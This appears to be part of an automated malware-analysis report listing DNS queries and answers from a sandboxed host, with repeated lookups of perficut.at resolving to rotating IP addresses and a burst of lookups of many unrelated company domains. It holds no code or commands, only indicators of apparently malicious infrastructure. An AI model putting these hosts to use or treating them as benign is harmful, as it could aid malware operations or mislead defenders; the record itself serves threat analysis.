Feb 16, 2023 13:58:12.803941011 CET	192.168.2.3	8.8.8.8	0xf8d9	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.124946117 CET	192.168.2.3	8.8.8.8	0x4b58	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.712424994 CET	192.168.2.3	8.8.8.8	0x3d6b	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.713206053 CET	192.168.2.3	8.8.8.8	0xec89	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.713206053 CET	192.168.2.3	8.8.8.8	0x3011	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.713562965 CET	192.168.2.3	8.8.8.8	0xe7e9	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.714684963 CET	192.168.2.3	8.8.8.8	0xbdb3	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.714993000 CET	192.168.2.3	8.8.8.8	0x5404	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.716866970 CET	192.168.2.3	8.8.8.8	0x2184	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.716928005 CET	192.168.2.3	8.8.8.8	0x9b25	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.717014074 CET	192.168.2.3	8.8.8.8	0xbf8c	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.717423916 CET	192.168.2.3	8.8.8.8	0x9f98	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.754704952 CET	192.168.2.3	8.8.8.8	0xef31	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.797085047 CET	192.168.2.3	8.8.8.8	0xf063	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.798908949 CET	192.168.2.3	8.8.8.8	0x2678	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.828114033 CET	192.168.2.3	8.8.8.8	0x2f9	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.861738920 CET	192.168.2.3	8.8.8.8	0x4e78	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.914685011 CET	192.168.2.3	8.8.8.8	0x3cb0	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.918631077 CET	192.168.2.3	8.8.8.8	0x6376	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.959472895 CET	192.168.2.3	8.8.8.8	0x3798	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.977349997 CET	192.168.2.3	8.8.8.8	0x3528	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.046587944 CET	192.168.2.3	8.8.8.8	0xecbf	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.086596012 CET	192.168.2.3	8.8.8.8	0x908b	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.104851007 CET	192.168.2.3	8.8.8.8	0x68ad	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.226586103 CET	192.168.2.3	8.8.8.8	0x781f	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.252557039 CET	192.168.2.3	8.8.8.8	0x70d0	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.289230108 CET	192.168.2.3	8.8.8.8	0x13b7	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.312742949 CET	192.168.2.3	8.8.8.8	0xd44a	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.336720943 CET	192.168.2.3	8.8.8.8	0x8ac9	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.387991905 CET	192.168.2.3	8.8.8.8	0x6836	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.498502970 CET	192.168.2.3	8.8.8.8	0x925d	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.530791044 CET	192.168.2.3	8.8.8.8	0x7d38	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.633986950 CET	192.168.2.3	8.8.8.8	0xbdc2	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.678749084 CET	192.168.2.3	8.8.8.8	0x14a4	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.688319921 CET	192.168.2.3	8.8.8.8	0x63a3	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.690377951 CET	192.168.2.3	8.8.8.8	0xaeba	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.778584957 CET	192.168.2.3	8.8.8.8	0x5a36	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.855046034 CET	192.168.2.3	8.8.8.8	0x65b8	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.918241978 CET	192.168.2.3	8.8.8.8	0xbb2c	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.935272932 CET	192.168.2.3	8.8.8.8	0x3344	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.076642036 CET	192.168.2.3	8.8.8.8	0x98be	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.080198050 CET	192.168.2.3	8.8.8.8	0x64e5	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.144139051 CET	192.168.2.3	8.8.8.8	0x2315	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.161463022 CET	192.168.2.3	8.8.8.8	0x44cd	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.166177988 CET	192.168.2.3	8.8.8.8	0xcbc5	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.196393967 CET	192.168.2.3	8.8.8.8	0x3c3f	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.275631905 CET	192.168.2.3	8.8.8.8	0x753d	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.291140079 CET	192.168.2.3	8.8.8.8	0x7de5	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.316900015 CET	192.168.2.3	8.8.8.8	0xb525	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.364084005 CET	192.168.2.3	8.8.8.8	0xa5e6	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.441519022 CET	192.168.2.3	8.8.8.8	0x194e	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.471575975 CET	192.168.2.3	8.8.8.8	0x4cd8	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.507220030 CET	192.168.2.3	8.8.8.8	0xbba7	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.599980116 CET	192.168.2.3	8.8.8.8	0x3126	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.633030891 CET	192.168.2.3	8.8.8.8	0x31c6	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.734317064 CET	192.168.2.3	8.8.8.8	0xf0d9	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.819289923 CET	192.168.2.3	8.8.8.8	0x3fe7	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.851485014 CET	192.168.2.3	8.8.8.8	0x37ec	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.898736954 CET	192.168.2.3	8.8.8.8	0x5178	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.208772898 CET	192.168.2.3	8.8.8.8	0xf55	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.252511024 CET	192.168.2.3	8.8.8.8	0x578a	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.325000048 CET	192.168.2.3	8.8.8.8	0x7b7	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.363740921 CET	192.168.2.3	8.8.8.8	0xabc9	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.480495930 CET	192.168.2.3	8.8.8.8	0xe043	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.498152971 CET	192.168.2.3	8.8.8.8	0xb33a	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.515085936 CET	192.168.2.3	8.8.8.8	0xfcba	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.586314917 CET	192.168.2.3	8.8.8.8	0x6096	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.617373943 CET	192.168.2.3	8.8.8.8	0x3e9	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.680797100 CET	192.168.2.3	8.8.8.8	0x739d	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:35.318068981 CET	192.168.2.3	8.8.8.8	0x771e	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:35.522491932 CET	192.168.2.3	8.8.8.8	0xf7cc	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:35.641479015 CET	192.168.2.3	8.8.8.8	0x45cf	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:35.736273050 CET	192.168.2.3	8.8.8.8	0x543e	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:35.795800924 CET	192.168.2.3	8.8.8.8	0x1870	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:36.320537090 CET	192.168.2.3	8.8.8.8	0xbb0f	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:36.484692097 CET	192.168.2.3	8.8.8.8	0x4e3f	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:36.518027067 CET	192.168.2.3	8.8.8.8	0x2d48	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:36.754396915 CET	192.168.2.3	8.8.8.8	0x98f1	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:37.041244030 CET	192.168.2.3	8.8.8.8	0xc194	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 16, 2023 13:57:11.893229961 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.893229961 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.893229961 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.893229961 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.893229961 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.893229961 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.893229961 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.893229961 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.893229961 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.893229961 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.895199060 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.895199060 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.895199060 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.895199060 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.895199060 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.895199060 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.895199060 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.895199060 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.895199060 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.895199060 CET	8.8.8.8	192.168.2.3	0x2edf	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.608597040 CET	8.8.8.8	192.168.2.3	0x18fa	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.608597040 CET	8.8.8.8	192.168.2.3	0x18fa	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.608597040 CET	8.8.8.8	192.168.2.3	0x18fa	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.608597040 CET	8.8.8.8	192.168.2.3	0x18fa	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.608597040 CET	8.8.8.8	192.168.2.3	0x18fa	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.608597040 CET	8.8.8.8	192.168.2.3	0x18fa	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.608597040 CET	8.8.8.8	192.168.2.3	0x18fa	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.608597040 CET	8.8.8.8	192.168.2.3	0x18fa	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.608597040 CET	8.8.8.8	192.168.2.3	0x18fa	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.608597040 CET	8.8.8.8	192.168.2.3	0x18fa	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.186243057 CET	8.8.8.8	192.168.2.3	0x842d	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.186243057 CET	8.8.8.8	192.168.2.3	0x842d	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.186243057 CET	8.8.8.8	192.168.2.3	0x842d	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.186243057 CET	8.8.8.8	192.168.2.3	0x842d	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.186243057 CET	8.8.8.8	192.168.2.3	0x842d	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.186243057 CET	8.8.8.8	192.168.2.3	0x842d	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.186243057 CET	8.8.8.8	192.168.2.3	0x842d	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.186243057 CET	8.8.8.8	192.168.2.3	0x842d	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.186243057 CET	8.8.8.8	192.168.2.3	0x842d	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.186243057 CET	8.8.8.8	192.168.2.3	0x842d	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.686733007 CET	8.8.8.8	192.168.2.3	0xc37	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.686733007 CET	8.8.8.8	192.168.2.3	0xc37	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.686733007 CET	8.8.8.8	192.168.2.3	0xc37	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.686733007 CET	8.8.8.8	192.168.2.3	0xc37	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.686733007 CET	8.8.8.8	192.168.2.3	0xc37	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.686733007 CET	8.8.8.8	192.168.2.3	0xc37	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.686733007 CET	8.8.8.8	192.168.2.3	0xc37	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.686733007 CET	8.8.8.8	192.168.2.3	0xc37	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.686733007 CET	8.8.8.8	192.168.2.3	0xc37	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.686733007 CET	8.8.8.8	192.168.2.3	0xc37	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.152328968 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.152328968 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.152328968 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.152328968 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.152328968 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.152328968 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.152328968 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.152328968 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.152328968 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.152328968 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.633085966 CET	8.8.8.8	192.168.2.3	0xcbfc	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.633085966 CET	8.8.8.8	192.168.2.3	0xcbfc	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.633085966 CET	8.8.8.8	192.168.2.3	0xcbfc	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.633085966 CET	8.8.8.8	192.168.2.3	0xcbfc	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.633085966 CET	8.8.8.8	192.168.2.3	0xcbfc	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.633085966 CET	8.8.8.8	192.168.2.3	0xcbfc	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.633085966 CET	8.8.8.8	192.168.2.3	0xcbfc	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.633085966 CET	8.8.8.8	192.168.2.3	0xcbfc	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.633085966 CET	8.8.8.8	192.168.2.3	0xcbfc	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.633085966 CET	8.8.8.8	192.168.2.3	0xcbfc	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:28.531613111 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:28.531613111 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:28.531613111 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:28.531613111 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:28.531613111 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:28.531613111 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:28.531613111 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:28.531613111 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:28.531613111 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:28.531613111 CET	8.8.8.8	192.168.2.3	0x339c	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.197405100 CET	8.8.8.8	192.168.2.3	0x1c9f	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.197405100 CET	8.8.8.8	192.168.2.3	0x1c9f	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.197405100 CET	8.8.8.8	192.168.2.3	0x1c9f	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.197405100 CET	8.8.8.8	192.168.2.3	0x1c9f	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.197405100 CET	8.8.8.8	192.168.2.3	0x1c9f	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.197405100 CET	8.8.8.8	192.168.2.3	0x1c9f	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.197405100 CET	8.8.8.8	192.168.2.3	0x1c9f	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.197405100 CET	8.8.8.8	192.168.2.3	0x1c9f	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.197405100 CET	8.8.8.8	192.168.2.3	0x1c9f	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.197405100 CET	8.8.8.8	192.168.2.3	0x1c9f	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.815593958 CET	8.8.8.8	192.168.2.3	0x64cb	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.815593958 CET	8.8.8.8	192.168.2.3	0x64cb	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.815593958 CET	8.8.8.8	192.168.2.3	0x64cb	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.815593958 CET	8.8.8.8	192.168.2.3	0x64cb	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.815593958 CET	8.8.8.8	192.168.2.3	0x64cb	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.815593958 CET	8.8.8.8	192.168.2.3	0x64cb	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.815593958 CET	8.8.8.8	192.168.2.3	0x64cb	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.815593958 CET	8.8.8.8	192.168.2.3	0x64cb	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.815593958 CET	8.8.8.8	192.168.2.3	0x64cb	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.815593958 CET	8.8.8.8	192.168.2.3	0x64cb	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:31.415925980 CET	8.8.8.8	192.168.2.3	0x13f2	No error (0)	beg.com.ve		190.114.9.88	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:38.240427971 CET	8.8.8.8	192.168.2.3	0xc371	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:38.240427971 CET	8.8.8.8	192.168.2.3	0xc371	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:38.240427971 CET	8.8.8.8	192.168.2.3	0xc371	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
